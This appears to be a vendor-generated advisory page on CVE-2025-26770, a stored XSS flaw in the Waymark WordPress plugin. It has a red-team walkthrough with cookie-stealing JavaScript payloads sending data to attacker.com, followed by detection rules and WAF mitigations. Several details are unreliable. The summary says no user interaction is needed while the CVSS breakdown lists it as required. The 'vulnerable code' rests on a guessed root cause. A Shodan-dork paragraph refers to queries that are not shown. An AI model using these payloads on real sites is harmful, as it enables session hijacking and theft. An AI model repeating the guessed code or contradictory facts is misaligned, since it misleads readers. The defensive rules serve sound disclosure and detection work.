CVE-2025-26770
Executive Summary
CVE-2025-26770 is a Stored Cross-Site Scripting (XSS) vulnerability in the Waymark WordPress plugin (versions <= 1.5.0) developed by Joe Waymark. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the application. This injected script executes in the context of any user viewing the affected page, leading to session hijacking, data theft, or defacement. The CVSS v3.1 score is 6.5 (Medium), with a low attack complexity and no requirement for user interaction beyond viewing the page. As of this report, no official patch is available, and the vendor has not responded to disclosure attempts. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. Since no patch is available, site administrators must consider removing or disabling the plugin. The lack of a vendor response increases supply chain risk, as no official update or advisory has been issued. Organizations using Waymark should treat this as a high-priority security finding and implement virtual patching or WAF rules until a fix is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must view the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the widespread use of WordPress make this a credible threat for targeted attacks. The requirement for authentication reduces the attack surface, but once an attacker gains low-level access, they can escalate impact.
Deep Dive & Mechanics
The vulnerability exists in the Waymark plugin’s handling of user-generated content, likely in custom post types or metadata fields. The plugin fails to sanitize or escape user input before rendering it in the browser. An attacker with contributor-level privileges can inject malicious JavaScript into fields such as post titles, descriptions, or custom fields. When an administrator or other user views the affected page, the script executes in their browser session.
Attack Flow:
- Attacker logs in with contributor credentials.
- Attacker creates or edits a Waymark post, injecting a payload like
<script>alert('XSS')</script>into a vulnerable field. - The payload is stored in the database without sanitization.
- When an administrator visits the post, the script executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the admin.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()). This allows raw HTML/JavaScript to be rendered.
Vulnerable vs. Patched Code
Vulnerable Code (Waymark <= 1.5.0):
// In a template or shortcode handler
echo $post->post_title; // No escaping
Patched Code (Hypothetical):
// Proper escaping
echo esc_html( $post->post_title );
Since no official patch exists, the above is a recommended fix. The plugin should also use wp_kses_post() for rich content fields.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Waymark plugin <= 1.5.0.
- Contributor-level account credentials.
Step-by-Step Exploit:
- Log in as a contributor.
- Navigate to Waymark → Add New.
- In the title or a custom field, inject:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Publish the post.
- Send the post link to an administrator (social engineering).
- When the admin views the post, their cookies are exfiltrated.
Example Payload (Steal Cookies):
fetch('https://attacker.com/steal?c='+document.cookie)
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual post content containing
<script>tags. - Use WAF rules to block common XSS patterns.
- Review user activity logs for suspicious post creation.
Hardening:
- Disable or remove the Waymark plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to mitigate XSS.
- Restrict contributor-level permissions to trusted users only.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing cookie data.
- Host: Presence of
<script>tags in Waymark post content in the database. - Logs: WordPress audit logs showing creation of posts with unusual HTML content.
- File: Modified plugin files (if attacker gains file write access).
Example IOC (Database Query):
SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' AND post_type = 'waymark';
Detection Engineering
YARA Rule
rule CVE_2025_26770_Waymark_XSS {
meta:
description = "Detects stored XSS payloads in Waymark plugin content"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-26770"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$waymark_indicator = "waymark"
condition:
$waymark_indicator and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Waymark Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in Waymark plugin posts
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "/wp-json/wp/v2/waymark"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26770 Waymark Stored XSS"; flow:to_server; content:"/wp-json/wp/v2/waymark"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Waymark plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in POST requests to Waymark endpoints. - Review user roles and remove contributor access for untrusted users.
Long-Term Fix:
- The vendor must release a patched version (>= 1.5.1) that properly escapes output.
- If no patch is forthcoming, consider forking the plugin or migrating to an alternative.
Virtual Patching (Example WAF Rule):
# Nginx WAF rule to block XSS in Waymark
if ($request_uri ~* "/wp-json/wp/v2/waymark") {
set $block_xss 1;
}
if ($request_body ~* "<script") {
set $block_xss "${block_xss}1";
}
if ($block_xss = "11") {
return 403;
}
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.